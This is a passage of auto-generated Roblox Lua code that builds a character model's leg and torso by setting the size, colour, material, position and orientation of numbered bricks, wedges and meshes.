Part97.TopSurface = Enum.SurfaceType.Smooth
Part97.Color = Color3.new(0, 0.12549, 0.376471)
Part97.Position = Vector3.new(85.2099533, 4.3318367, 72.6986923)
Part97.Orientation = Vector3.new(79.2300034, 180, 0)
Part97.Color = Color3.new(0, 0.12549, 0.376471)
BlockMesh98.Parent = Part97
Part99.Name = "Brick"
Part99.Parent = Model57
Part99.Material = Enum.Material.SmoothPlastic
Part99.BrickColor = BrickColor.new("Navy blue")
Part99.Reflectance = 0.0049999998882413
Part99.Rotation = Vector3.new(100.769997, 0, 180)
Part99.Anchored = true
Part99.CanCollide = false
Part99.FormFactor = Enum.FormFactor.Symmetric
Part99.Size = Vector3.new(0.220499977, 1.13590491, 0.883513689)
Part99.CFrame = CFrame.new(84.2177048, 4.33429432, 72.6985855, -1, -7.07928887e-13, 2.79888959e-12, 2.84009643e-12, 0.186831623, -0.982391953, -1.86642856e-13, -0.982391953, -0.186831623)
Part99.BottomSurface = Enum.SurfaceType.Smooth
Part99.TopSurface = Enum.SurfaceType.Smooth
Part99.Color = Color3.new(0, 0.12549, 0.376471)
Part99.Position = Vector3.new(84.2177048, 4.33429432, 72.6985855)
Part99.Orientation = Vector3.new(79.2300034, 180, 0)
Part99.Color = Color3.new(0, 0.12549, 0.376471)
BlockMesh100.Parent = Part99
Part101.Name = "Brick"
Part101.Parent = Model57
Part101.Material = Enum.Material.SmoothPlastic
Part101.BrickColor = BrickColor.new("Black")
Part101.Reflectance = 0.0049999998882413
Part101.Rotation = Vector3.new(100.769997, 0, 180)
Part101.Anchored = true
Part101.CanCollide = false
Part101.FormFactor = Enum.FormFactor.Symmetric
Part101.Size = Vector3.new(0.201244384, 1.03670979, 0.806359112)
Part101.CFrame = CFrame.new(85.166626, 4.18747377, 72.7607269, -1, -7.07928887e-13, 2.79888959e-12, 2.84009643e-12, 0.186831623, -0.982391953, -1.86642856e-13, -0.982391953, -0.186831623)
Part101.BottomSurface = Enum.SurfaceType.Smooth
Part101.TopSurface = Enum.SurfaceType.Smooth
Part101.Color = Color3.new(0.105882, 0.164706, 0.207843)
Part101.Position = Vector3.new(85.166626, 4.18747377, 72.7607269)
Part101.Orientation = Vector3.new(79.2300034, 180, 0)
Part101.Color = Color3.new(0.105882, 0.164706, 0.207843)
BlockMesh102.Parent = Part101
Part103.Name = "Brick"
Part103.Parent = Model57
Part103.Material = Enum.Material.SmoothPlastic
Part103.BrickColor = BrickColor.new("Black")
Part103.Reflectance = 0.0049999998882413
Part103.Rotation = Vector3.new(100.769997, 0, 180)
Part103.Anchored = true
Part103.CanCollide = false
Part103.FormFactor = Enum.FormFactor.Symmetric
Part103.Size = Vector3.new(1.10684443, 0.201244384, 0.806359112)
Part103.CFrame = CFrame.new(84.713829, 4.2677207, 72.3498917, -1, -7.07928887e-13, 2.79888959e-12, 2.84009643e-12, 0.186831623, -0.982391953, -1.86642856e-13, -0.982391953, -0.186831623)
Part103.BottomSurface = Enum.SurfaceType.Smooth
Part103.TopSurface = Enum.SurfaceType.Smooth
Part103.Color = Color3.new(0.105882, 0.164706, 0.207843)
Part103.Position = Vector3.new(84.713829, 4.2677207, 72.3498917)
Part103.Orientation = Vector3.new(79.2300034, 180, 0)
Part103.Color = Color3.new(0.105882, 0.164706, 0.207843)
BlockMesh104.Parent = Part103
Part105.Parent = Model57
Part105.Material = Enum.Material.SmoothPlastic
Part105.BrickColor = BrickColor.new("Black")
Part105.Reflectance = 0.0049999998882413
Part105.Rotation = Vector3.new(166.570007, 0, 0)
Part105.Anchored = true
Part105.CanCollide = false
Part105.Size = Vector3.new(0.703561604, 0.201244384, 0.628684759)
Part105.CFrame = CFrame.new(84.7140961, 4.99801111, 74.0790176, 0.99999994, 2.8232295e-12, 4.80674799e-13, -2.84009621e-12, -0.972672462, -0.232181579, 1.86642843e-13, 0.232181609, -0.972672462)
Part105.BottomSurface = Enum.SurfaceType.Smooth
Part105.TopSurface = Enum.SurfaceType.Smooth
Part105.Color = Color3.new(0.105882, 0.164706, 0.207843)
Part105.Position = Vector3.new(84.7140961, 4.99801111, 74.0790176)
Part105.Orientation = Vector3.new(13.4300003, 180, -180)
Part105.Color = Color3.new(0.105882, 0.164706, 0.207843)
Part106.Parent = Model57
Part106.Material = Enum.Material.SmoothPlastic
Part106.BrickColor = BrickColor.new("Navy blue")
Part106.Reflectance = 0.0049999998882413
Part106.Rotation = Vector3.new(166.570007, 0, 0)
Part106.Anchored = true
Part106.CanCollide = false
Part106.Size = Vector3.new(0.770880163, 0.220499977, 0.688839018)
Part106.CFrame = CFrame.new(84.7141266, 5.21992493, 74.1431198, 0.99999994, 2.8232295e-12, 4.80674799e-13, -2.84009621e-12, -0.972672462, -0.232181579, 1.86642843e-13, 0.232181609, -0.972672462)
Part106.BottomSurface = Enum.SurfaceType.Smooth
Part106.TopSurface = Enum.SurfaceType.Smooth
Part106.Color = Color3.new(0, 0.12549, 0.376471)
Part106.Position = Vector3.new(84.7141266, 5.21992493, 74.1431198)
Part106.Orientation = Vector3.new(13.4300003, 180, -180)
Part106.Color = Color3.new(0, 0.12549, 0.376471)
WedgePart107.Parent = Model57
WedgePart107.Material = Enum.Material.SmoothPlastic
WedgePart107.BrickColor = BrickColor.new("Black")
WedgePart107.Reflectance = 0.0049999998882413
WedgePart107.Rotation = Vector3.new(166.570007, 0, 0)
WedgePart107.Anchored = true
WedgePart107.CanCollide = false
WedgePart107.Size = Vector3.new(0.201244384, 0.224141195, 0.517623842)
WedgePart107.CFrame = CFrame.new(84.2610245, 4.65805626, 73.5709, 0.99999994, 1.67656744e-05, 7.46475916e-06, 1.80406932e-05, -0.972671747, -0.232184559, 3.36802987e-06, 0.232184559, -0.972671807)
WedgePart107.BottomSurface = Enum.SurfaceType.Smooth
WedgePart107.Color = Color3.new(0.105882, 0.164706, 0.207843)
WedgePart107.Position = Vector3.new(84.2610245, 4.65805626, 73.5709)
WedgePart107.Orientation = Vector3.new(13.4300003, 180, 180)
WedgePart107.Color = Color3.new(0.105882, 0.164706, 0.207843)
WedgePart108.Parent = Model57
WedgePart108.Material = Enum.Material.SmoothPlastic
WedgePart108.BrickColor = BrickColor.new("Black")
WedgePart108.Reflectance = 0.0049999998882413
WedgePart108.Rotation = Vector3.new(166.570007, 0, -90)
WedgePart108.Anchored = true
WedgePart108.CanCollide = false
WedgePart108.FormFactor = Enum.FormFactor.Symmetric
WedgePart108.Size = Vector3.new(0.201244384, 0.352177709, 0.729308963)
WedgePart108.CFrame = CFrame.new(84.8906479, 5.15557623, 74.7378082, -1.11450369e-07, 0.999996722, -9.83476184e-07, 0.972667456, -1.1921243e-07, -0.232180417, -0.232180595, -9.53674203e-07, -0.972667515)
WedgePart108.BottomSurface = Enum.SurfaceType.Smooth
WedgePart108.Color = Color3.new(0.105882, 0.164706, 0.207843)
WedgePart108.Position = Vector3.new(84.8906479, 5.15557623, 74.7378082)
WedgePart108.Orientation = Vector3.new(13.4300003, -180, 90)
WedgePart108.Color = Color3.new(0.105882, 0.164706, 0.207843)
Model109.Name = "RightLeg"
Model109.Parent = Model0
Part110.Name = "Right Leg1"
Part110.Parent = Model109
Part110.BrickColor = BrickColor.new("Pastel yellow")
Part110.Transparency = 1
Part110.Rotation = Vector3.new(-0.980000019, -90, 0)
Part110.Anchored = true
Part110.CanCollide = false
Part110.FormFactor = Enum.FormFactor.Symmetric
Part110.Size = Vector3.new(1, 2, 1)
Part110.CFrame = CFrame.new(84.6179352, 1.43810642, 71.6209641, -6.09021917e-17, -7.13092728e-15, -1, 0.0170776155, 0.999854267, -7.13092644e-15, 0.999854267, -0.0170776155, 6.08859128e-17)
Part110.BottomSurface = Enum.SurfaceType.Smooth
Part110.Color = Color3.new(1, 1, 0.8)
Part110.Position = Vector3.new(84.6179352, 1.43810642, 71.6209641)
Part110.Orientation = Vector3.new(0, -90, 0.980000019)
Part110.Color = Color3.new(1, 1, 0.8)
Model111.Name = "Torso"
Model111.Parent = Model0
Part112.Name = "Torso1"
Part112.Parent = Model111
Part112.BrickColor = BrickColor.new("Pastel yellow")
Part112.Transparency = 1
Part112.Rotation = Vector3.new(90.0100021, -89.0199966, -89.9899979)
Part112.Anchored = true
Part112.CanCollide = false
Part112.FormFactor = Enum.FormFactor.Symmetric
Part112.Size = Vector3.new(2, 2, 1)
Part112.CFrame = CFrame.new(84.7530441, 2.97952414, 71.1198654, 1.62258732e-06, 0.0170781817, -0.999854147, 3.48963596e-08, -0.999854207, -0.0170781817, -1, -7.1804287e-09, -1.62294657e-06)
Part112.LeftSurface = Enum.SurfaceType.Weld
Part112.RightSurface = Enum.SurfaceType.Weld
Part112.Color = Color3.new(1, 1, 0.8)
Part112.Position = Vector3.new(84.7530441, 2.97952414, 71.1198654)
Part112.Orientation = Vector3.new(0.980000019, -90, 180)
Part112.Color = Color3.new(1, 1, 0.8)
Part113.Name = "Brick"
Part113.Parent = Model111
Part113.Material = Enum.Material.SmoothPlastic
Part113.BrickColor = BrickColor.new("Navy blue")
Part113.Rotation = Vector3.new(153.779999, 55.4099998, -160.850006)
Part113.Anchored = true
Part113.CanCollide = false
Part113.FormFactor = Enum.FormFactor.Symmetric
Part113.Size = Vector3.new(0.621950567, 0.569770336, 0.200000003)
Part113.CFrame = CFrame.new(84.077301, 4.22622871, 71.6350861, -0.53629142, 0.186246887, 0.823227525, -0.0492874496, 0.966775298, -0.250831395, -0.842592597, -0.175093502, -0.509293735)
Part113.BottomSurface = Enum.SurfaceType.Smooth
Part113.TopSurface = Enum.SurfaceType.Smooth
Part113.Color = Color3.new(0, 0.12549, 0.376471)
Part113.Position = Vector3.new(84.077301, 4.22622871, 71.6350861)
Part113.Orientation = Vector3.new(14.5299997, 121.739998, -2.92000008)
Part113.Color = Color3.new(0, 0.12549, 0.376471)
BlockMesh114.Parent = Part113
Part115.Name = "Brick"
Part115.Parent = Model111
Part115.Material = Enum.Material.SmoothPlastic
Part115.BrickColor = BrickColor.new("Lapis")
Part115.Rotation = Vector3.new(98.8700027, 0, -90)
Part115.Anchored = true
Part115.CanCollide = false
Part115.FormFactor = Enum.FormFactor.Symmetric
Part115.Size = Vector3.new(0.200000003, 0.200000048, 0.400000036)
Part115.CFrame = CFrame.new(85.0661545, 0.575267553, 69.5961533, -4.57742686e-07, 1, 1.60785328e-06, 0.154153615, 1.65919141e-06, -0.988046944, -0.988047063, -2.04414434e-07, -0.154153585)
Part115.BottomSurface = Enum.SurfaceType.Smooth
Part115.TopSurface = Enum.SurfaceType.Smooth
Part115.Color = Color3.new(0.0627451, 0.164706, 0.862745)
Part115.Position = Vector3.new(85.0661545, 0.575267553, 69.5961533)
Part115.Orientation = Vector3.new(81.1299973, 180, 90)
Part115.Color = Color3.new(0.0627451, 0.164706, 0.862745)
BlockMesh116.Parent = Part115
BlockMesh116.Scale = Vector3.new(0.200000003, 0.200000003, 1)
BlockMesh116.Scale = Vector3.new(0.200000003, 0.200000003, 1)
Part117.Name = "1"
Part117.Parent = Model111
Part117.Material = Enum.Material.SmoothPlastic
Part117.BrickColor = BrickColor.new("Pastel Blue")
Part117.Reflectance = 0.20000000298023
Part117.Rotation = Vector3.new(90, 90, 0)
Part117.Anchored = true
Part117.CanCollide = false
Part117.FormFactor = Enum.FormFactor.Symmetric
Part117.Size = Vector3.new(0.200000003, 1.48148215, 0.200000003)
Part117.CFrame = CFrame.new(85.1873627, 3.88405132, 71.120018, -1.85120132e-06, -5.99948677e-08, 1, 0.99999994, 2.66171992e-06, 1.85119575e-06, -2.66171992e-06, 0.99999994, 5.99902847e-08)
Part117.BottomSurface = Enum.SurfaceType.Smooth
Part117.TopSurface = Enum.SurfaceType.Smooth
Part117.Color = Color3.new(0.501961, 0.733333, 0.858824)
Part117.Position = Vector3.new(85.1873627, 3.88405132, 71.120018)
Part117.Orientation = Vector3.new(0, 90, 90)
Part117.Color = Color3.new(0.501961, 0.733333, 0.858824)
BlockMesh118.Parent = Part117
BlockMesh118.Scale = Vector3.new(0.300000012, 1, 1)
BlockMesh118.Scale = Vector3.new(0.300000012, 1, 1)
Part119.Name = "1"
Part119.Parent = Model111
Part119.Material = Enum.Material.SmoothPlastic
Part119.BrickColor = BrickColor.new("Pastel Blue")
Part119.Reflectance = 0.20000000298023
Part119.Rotation = Vector3.new(-90, 0, 90)
Part119.Anchored = true
Part119.CanCollide = false
Part119.FormFactor = Enum.FormFactor.Symmetric
Part119.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
Part119.CFrame = CFrame.new(85.1887817, 3.88477206, 70.3631363, -5.72269414e-08, -1, -1.52209304e-06, -4.00096178e-06, -1.52208713e-06, 1, -1, 5.72326542e-08, -4.00096178e-06)
Part119.BottomSurface = Enum.SurfaceType.Smooth
Part119.TopSurface = Enum.SurfaceType.Smooth
Part119.Color = Color3.new(0.501961, 0.733333, 0.858824)
Part119.Position = Vector3.new(85.1887817, 3.88477206, 70.3631363)
Part119.Orientation = Vector3.new(-90, 90, 0)
Part119.Color = Color3.new(0.501961, 0.733333, 0.858824)
CylinderMesh120.Parent = Part119
CylinderMesh120.Scale = Vector3.new(1, 1, 0.5)
CylinderMesh120.Scale = Vector3.new(1, 1, 0.5)
Part121.Name = "1"
Part121.Parent = Model111
Part121.Material = Enum.Material.SmoothPlastic
Part121.BrickColor = BrickColor.new("Pastel Blue")
Part121.Reflectance = 0.20000000298023
Part121.Rotation = Vector3.new(-90, 0, 90)
Part121.Anchored = true
Part121.CanCollide = false
Part121.FormFactor = Enum.FormFactor.Symmetric
Part121.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
Part121.CFrame = CFrame.new(85.1887817, 3.88585806, 71.872261, -5.72269414e-08, -1, -1.52209304e-06, -4.00096178e-06, -1.52208713e-06, 1, -1, 5.72326542e-08, -4.00096178e-06)
Part121.BottomSurface = Enum.SurfaceType.Smooth
Part121.TopSurface = Enum.SurfaceType.Smooth
Part121.Color = Color3.new(0.501961, 0.733333, 0.858824)
Part121.Position = Vector3.new(85.1887817, 3.88585806, 71.872261)
Part121.Orientation = Vector3.new(-90, 90, 0)
Part121.Color = Color3.new(0.501961, 0.733333, 0.858824)
CylinderMesh122.Parent = Part121
CylinderMesh122.Scale = Vector3.new(1, 1, 0.5)
CylinderMesh122.Scale = Vector3.new(1, 1, 0.5)
Part123.Name = "1"
Part123.Parent = Model111
Part123.Material = Enum.Material.SmoothPlastic
Part123.BrickColor = BrickColor.new("Pastel Blue")
Part123.Reflectance = 0.20000000298023
Part123.Rotation = Vector3.new(90, 90, 0)
Part123.Anchored = true
Part123.CanCollide = false
Part123.FormFactor = Enum.FormFactor.Symmetric
Part123.Size = Vector3.new(0.200000003, 1.2814821, 0.200000003)
Part123.CFrame = CFrame.new(85.1873627, 3.37702417, 71.1200256, -1.85120132e-06, -5.99948677e-08, 1, 0.99999994, 2.66171992e-06, 1.85119575e-06, -2.66171992e-06, 0.99999994, 5.99902847e-08)
Part123.BottomSurface = Enum.SurfaceType.Smooth
Part123.TopSurface = Enum.SurfaceType.Smooth
Part123.Color = Color3.new(0.501961, 0.733333, 0.858824)
Part123.Position = Vector3.new(85.1873627, 3.37702417, 71.1200256)
Part123.Orientation = Vector3.new(0, 90, 90)
Part123.Color = Color3.new(0.501961, 0.733333, 0.858824)
BlockMesh124.Parent = Part123
BlockMesh124.Scale = Vector3.new(0.300000012, 1, 1)
BlockMesh124.Scale = Vector3.new(0.300000012, 1, 1)
Part125.Name = "1"
Part125.Parent = Model111
Part125.Material = Enum.Material.SmoothPlastic
Part125.BrickColor = BrickColor.new("Pastel Blue")
Part125.Reflectance = 0.20000000298023
Part125.Rotation = Vector3.new(-90, 0, 90)
Part125.Anchored = true
Part125.CanCollide = false
Part125.FormFactor = Enum.FormFactor.Symmetric
Part125.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
Part125.CFrame = CFrame.new(85.1887817, 3.3777411, 70.4631577, -5.72269414e-08, -1, -1.52209304e-06, -4.00096178e-06, -1.52208713e-06, 1, -1, 5.72326542e-08, -4.00096178e-06)
Part125.BottomSurface = Enum.SurfaceType.Smooth
Part125.TopSurface = Enum.SurfaceType.Smooth
Part125.Color = Color3.new(0.501961, 0.733333, 0.858824)
Part125.Position = Vector3.new(85.1887817, 3.3777411, 70.4631577)
Part125.Orientation = Vector3.new(-90, 90, 0)
Part125.Color = Color3.new(0.501961, 0.733333, 0.858824)
CylinderMesh126.Parent = Part125
CylinderMesh126.Scale = Vector3.new(1, 1, 0.5)
CylinderMesh126.Scale = Vector3.new(1, 1, 0.5)
Part127.Name = "1"
Part127.Parent = Model111
Part127.Material = Enum.Material.SmoothPlastic
Part127.BrickColor = BrickColor.new("Pastel Blue")
Part127.Reflectance = 0.20000000298023
Part127.Rotation = Vector3.new(-90, 0, 90)
Part127.Anchored = true
Part127.CanCollide = false
Part127.FormFactor = Enum.FormFactor.Symmetric
Part127.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
Part127.CFrame = CFrame.new(85.1887817, 3.37882566, 71.7722549, -5.72269414e-08, -1, -1.52209304e-06, -4.00096178e-06, -1.52208713e-06, 1, -1, 5.72326542e-08, -4.00096178e-06)
Part127.BottomSurface = Enum.SurfaceType.Smooth
Part127.TopSurface = Enum.SurfaceType.Smooth
Part127.Color = Color3.new(0.501961, 0.733333, 0.858824)
Part127.Position = Vector3.new(85.1887817, 3.37882566, 71.7722549)
Part127.Orientation = Vector3.new(-90, 90, 0)
Part127.Color = Color3.new(0.501961, 0.733333, 0.858824)
CylinderMesh128.Parent = Part127
CylinderMesh128.Scale = Vector3.new(1, 1, 0.5)
CylinderMesh128.Scale = Vector3.new(1, 1, 0.5)
Part129.Name = "Brick"
Part129.Parent = Model111
Part129.Material = Enum.Material.SmoothPlastic
Part129.BrickColor = BrickColor.new("Pastel Blue")
Part129.Reflectance = 0.20000000298023
Part129.Rotation = Vector3.new(0, 90, 0)
Part129.Anchored = true
Part129.CanCollide = false
Part129.FormFactor = Enum.FormFactor.Symmetric
Part129.Size = Vector3.new(0.200000003, 1.90897512, 0.200000003)
Part129.CFrame = CFrame.new(85.1915894, 2.922647, 71.1200027, 5.99961609e-08, -1.85120155e-06, 1, -3.37511301e-06, 0.99999994, 1.85119586e-06, -0.99999994, -3.37511301e-06, 5.99902847e-08)
Part129.BottomSurface = Enum.SurfaceType.Smooth
Part129.TopSurface = Enum.SurfaceType.Smooth
Part129.Color = Color3.new(0.501961, 0.733333, 0.858824)
Part129.Position = Vector3.new(85.1915894, 2.922647, 71.1200027)
Part129.Orientation = Vector3.new(0, 90, 0)
Part129.Color = Color3.new(0.501961, 0.733333, 0.858824)
BlockMesh130.Parent = Part129
BlockMesh130.Scale = Vector3.new(0.300000012, 1, 1)
BlockMesh130.Scale = Vector3.new(0.300000012, 1, 1)
Part131.Name = "Brick"
Part131.Parent = Model111
Part131.Material = Enum.Material.SmoothPlastic
Part131.BrickColor = BrickColor.new("Really black")
Part131.Rotation = Vector3.new(0, 90, 0)
Part131.Anchored = true
Part131.CanCollide = false
Part131.FormFactor = Enum.FormFactor.Symmetric
Part131.Size = Vector3.new(0.275762081, 2.04569292, 0.200000003)
Part131.CFrame = CFrame.new(85.182869, 2.9881115, 70.2552872, 5.99961609e-08, -1.85120155e-06, 1, -3.37511301e-06, 0.99999994, 1.85119586e-06, -0.99999994, -3.37511301e-06, 5.99902847e-08)
Part131.BottomSurface = Enum.SurfaceType.Smooth
Part131.TopSurface = Enum.SurfaceType.Smooth
Part131.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
Part131.Position = Vector3.new(85.182869, 2.9881115, 70.2552872)
Part131.Orientation = Vector3.new(0, 90, 0)
Part131.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
BlockMesh132.Parent = Part131
WedgePart133.Parent = Model111
WedgePart133.Material = Enum.Material.SmoothPlastic
WedgePart133.BrickColor = BrickColor.new("Really black")
WedgePart133.Rotation = Vector3.new(0, -0.0500000007, 0.129999995)
WedgePart133.Anchored = true
WedgePart133.CanCollide = false
WedgePart133.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
WedgePart133.CFrame = CFrame.new(85.181488, 3.09613848, 70.5079117, 0.999997199, -0.00223094225, -0.000802747905, 0.00223094458, 0.999997556, 2.0340085e-06, 0.000802741386, -3.83704901e-06, 0.999999702)
WedgePart133.BottomSurface = Enum.SurfaceType.Smooth
WedgePart133.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
WedgePart133.Position = Vector3.new(85.181488, 3.09613848, 70.5079117)
WedgePart133.Orientation = Vector3.new(0, -0.0500000007, 0.129999995)
WedgePart133.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
SpecialMesh134.Parent = WedgePart133
SpecialMesh134.Scale = Vector3.new(1.01084137, 0.337857842, 2.72094846)
SpecialMesh134.MeshType = Enum.MeshType.Wedge
SpecialMesh134.Scale = Vector3.new(1.01084137, 0.337857842, 2.72094846)
WedgePart135.Parent = Model111
WedgePart135.Material = Enum.Material.SmoothPlastic
WedgePart135.BrickColor = BrickColor.new("Really black")
WedgePart135.Rotation = Vector3.new(180, 0.0500000007, 179.869995)
WedgePart135.Anchored = true
WedgePart135.CanCollide = false
WedgePart135.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
WedgePart135.CFrame = CFrame.new(85.1811981, 3.09613752, 70.8738403, -0.999997199, -0.00223094225, 0.000802747731, -0.00223094458, 0.999997556, -1.94460154e-06, -0.000802741386, -3.74764204e-06, -0.999999702)
WedgePart135.BottomSurface = Enum.SurfaceType.Smooth
WedgePart135.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
WedgePart135.Position = Vector3.new(85.1811981, 3.09613752, 70.8738403)
WedgePart135.Orientation = Vector3.new(0, 179.949997, -0.129999995)
WedgePart135.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
SpecialMesh136.Parent = WedgePart135
SpecialMesh136.Scale = Vector3.new(1.01084137, 0.337857842, 0.938339233)
SpecialMesh136.MeshType = Enum.MeshType.Wedge
SpecialMesh136.Scale = Vector3.new(1.01084137, 0.337857842, 0.938339233)
WedgePart137.Parent = Model111
WedgePart137.Material = Enum.Material.SmoothPlastic
WedgePart137.BrickColor = BrickColor.new("Really black")
WedgePart137.Rotation = Vector3.new(-90, 0, 179.910004)
WedgePart137.Anchored = true
WedgePart137.CanCollide = false
WedgePart137.Size = Vector3.new(0.200412184, 0.389923543, 1.16091728)
WedgePart137.CFrame = CFrame.new(85.1823654, 2.54573298, 70.5879745, -0.999998868, -0.00150661916, -1.4348019e-06, -1.44066507e-06, 3.88361514e-06, 1, -0.00150661927, 0.999998868, -3.89665365e-06)
WedgePart137.BottomSurface = Enum.SurfaceType.Smooth
WedgePart137.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
WedgePart137.Position = Vector3.new(85.1823654, 2.54573298, 70.5879745)
WedgePart137.Orientation = Vector3.new(-90, 179.910004, 0)
WedgePart137.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
WedgePart138.Parent = Model111
WedgePart138.Material = Enum.Material.SmoothPlastic
WedgePart138.BrickColor = BrickColor.new("Really black")
WedgePart138.Rotation = Vector3.new(90, 0, 0.0900000036)
WedgePart138.Anchored = true
WedgePart138.CanCollide = false
WedgePart138.Size = Vector3.new(0.200412184, 0.389923543, 0.347238541)
WedgePart138.CFrame = CFrame.new(85.1823654, 3.29980421, 70.587944, 0.999998868, -0.00150661916, 1.43467025e-06, 1.44066507e-06, 3.98792326e-06, -1, 0.00150661927, 0.999998868, 4.00096178e-06)
WedgePart138.BottomSurface = Enum.SurfaceType.Smooth
WedgePart138.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
WedgePart138.Position = Vector3.new(85.1823654, 3.29980421, 70.587944)
WedgePart138.Orientation = Vector3.new(90, -0.0900000036, 0)
WedgePart138.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
WedgePart139.Parent = Model111
WedgePart139.Material = Enum.Material.SmoothPlastic
WedgePart139.BrickColor = BrickColor.new("Really black")
WedgePart139.Rotation = Vector3.new(-55.7200012, 0, -180)
WedgePart139.Anchored = true
WedgePart139.CanCollide = false
WedgePart139.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
WedgePart139.CFrame = CFrame.new(85.1822815, 3.04279566, 71.1207199, -1, 9.39884956e-07, -1.14377758e-06, -1.47446929e-06, -0.563230097, 0.826300144, 1.32416773e-07, 0.826300204, 0.563229978)
WedgePart139.BottomSurface = Enum.SurfaceType.Smooth
WedgePart139.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
WedgePart139.Position = Vector3.new(85.1822815, 3.04279566, 71.1207199)
WedgePart139.Orientation = Vector3.new(-55.7200012, 0, -180)
WedgePart139.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
SpecialMesh140.Parent = WedgePart139
SpecialMesh140.Scale = Vector3.new(0.999984741, 0.80983156, 0.552008986)
SpecialMesh140.MeshType = Enum.MeshType.Wedge
SpecialMesh140.Scale = Vector3.new(0.999984741, 0.80983156, 0.552008986)
WedgePart141.Parent = Model111
WedgePart141.Material = Enum.Material.SmoothPlastic
WedgePart141.BrickColor = BrickColor.new("Really black")
WedgePart141.Rotation = Vector3.new(90, 0.0199999996, 0.0299999993)
WedgePart141.Anchored = true
WedgePart141.CanCollide = false
WedgePart141.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
WedgePart141.CFrame = CFrame.new(85.1822052, 3.45734429, 70.4930878, 0.999999762, -0.000579246494, 0.000356322125, 0.000356324395, 3.86871397e-06, -1, 0.000579245039, 0.999999881, 4.07546759e-06)
WedgePart141.BottomSurface = Enum.SurfaceType.Smooth
WedgePart141.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
WedgePart141.Position = Vector3.new(85.1822052, 3.45734429, 70.4930878)
WedgePart141.Orientation = Vector3.new(90, -0.0299999993, 0)
WedgePart141.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
SpecialMesh142.Parent = WedgePart141
SpecialMesh142.Scale = Vector3.new(1.00078332, 0.99998498, 1.63242829)
SpecialMesh142.MeshType = Enum.MeshType.Wedge
SpecialMesh142.Scale = Vector3.new(1.00078332, 0.99998498, 1.63242829)
WedgePart143.Parent = Model111
WedgePart143.Material = Enum.Material.SmoothPlastic
WedgePart143.BrickColor = BrickColor.new("Really black")
WedgePart143.Rotation = Vector3.new(-90, -0.0199999996, 179.970001)
WedgePart143.Anchored = true
WedgePart143.CanCollide = false
WedgePart143.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
WedgePart143.CFrame = CFrame.new(85.1824951, 2.62967396, 70.4931183, -0.999999762, -0.000579246436, -0.000356322184, -0.000356324395, 3.79420817e-06, 1, -0.000579245039, 0.999999881, -4.00096178e-06)
WedgePart143.BottomSurface = Enum.SurfaceType.Smooth
WedgePart143.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
WedgePart143.Position = Vector3.new(85.1824951, 2.62967396, 70.4931183)
WedgePart143.Orientation = Vector3.new(-90, 179.970001, 0)
WedgePart143.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
SpecialMesh144.Parent = WedgePart143
SpecialMesh144.Scale = Vector3.new(1.00078332, 0.99998498, 6.64438772)
SpecialMesh144.MeshType = Enum.MeshType.Wedge
SpecialMesh144.Scale = Vector3.new(1.00078332, 0.99998498, 6.64438772)
WedgePart145.Parent = Model111
WedgePart145.Material = Enum.Material.SmoothPlastic
WedgePart145.BrickColor = BrickColor.new("Really black")
WedgePart145.Rotation = Vector3.new(90, 0, 179.919998)
WedgePart145.Anchored = true
WedgePart145.CanCollide = false
WedgePart145.Size = Vector3.new(0.200395763, 0.405991018, 0.36154747)
WedgePart145.CFrame = CFrame.new(85.182373, 3.30695724, 71.6614609, -0.999999046, -0.00144700008, 1.60951686e-06, -1.6037302e-06, -3.98606062e-06, -1, 0.00144700019, -0.999999046, 4.00096178e-06)
WedgePart145.BottomSurface = Enum.SurfaceType.Smooth
WedgePart145.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
WedgePart145.Position = Vector3.new(85.182373, 3.30695724, 71.6614609)
WedgePart145.Orientation = Vector3.new(90, -179.919998, 0)
WedgePart145.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
WedgePart146.Parent = Model111
WedgePart146.Material = Enum.Material.SmoothPlastic
WedgePart146.BrickColor = BrickColor.new("Really black")
WedgePart146.Rotation = Vector3.new(-90, 0, 0.0799999982)
WedgePart146.Anchored = true
WedgePart146.CanCollide = false
WedgePart146.Size = Vector3.new(0.200395763, 0.405991018, 1.16122246)
WedgePart146.CFrame = CFrame.new(85.182373, 2.54558897, 71.6615067, 0.999999046, -0.00144700008, -1.60964339e-06, 1.6037302e-06, -4.07546759e-06, 1, -0.00144700019, -0.999999046, -4.07546759e-06)
WedgePart146.BottomSurface = Enum.SurfaceType.Smooth
WedgePart146.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
WedgePart146.Position = Vector3.new(85.182373, 2.54558897, 71.6615067)
WedgePart146.Orientation = Vector3.new(-90, 0.0799999982, 0)
WedgePart146.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
WedgePart147.Parent = Model111
WedgePart147.Material = Enum.Material.SmoothPlastic
WedgePart147.BrickColor = BrickColor.new("Really black")
WedgePart147.Rotation = Vector3.new(90, 0.0199999996, 179.970001)
WedgePart147.Anchored = true
WedgePart147.CanCollide = false
WedgePart147.Size = Vector3.new(0.200154141, 0.216064483, 0.35271439)
WedgePart147.CFrame = CFrame.new(85.1822052, 3.47046447, 71.7563477, -0.999999762, -0.000570286938, 0.000350898132, -0.000350895803, -4.10526991e-06, -0.99999994, 0.000570288335, -1, 3.91341746e-06)
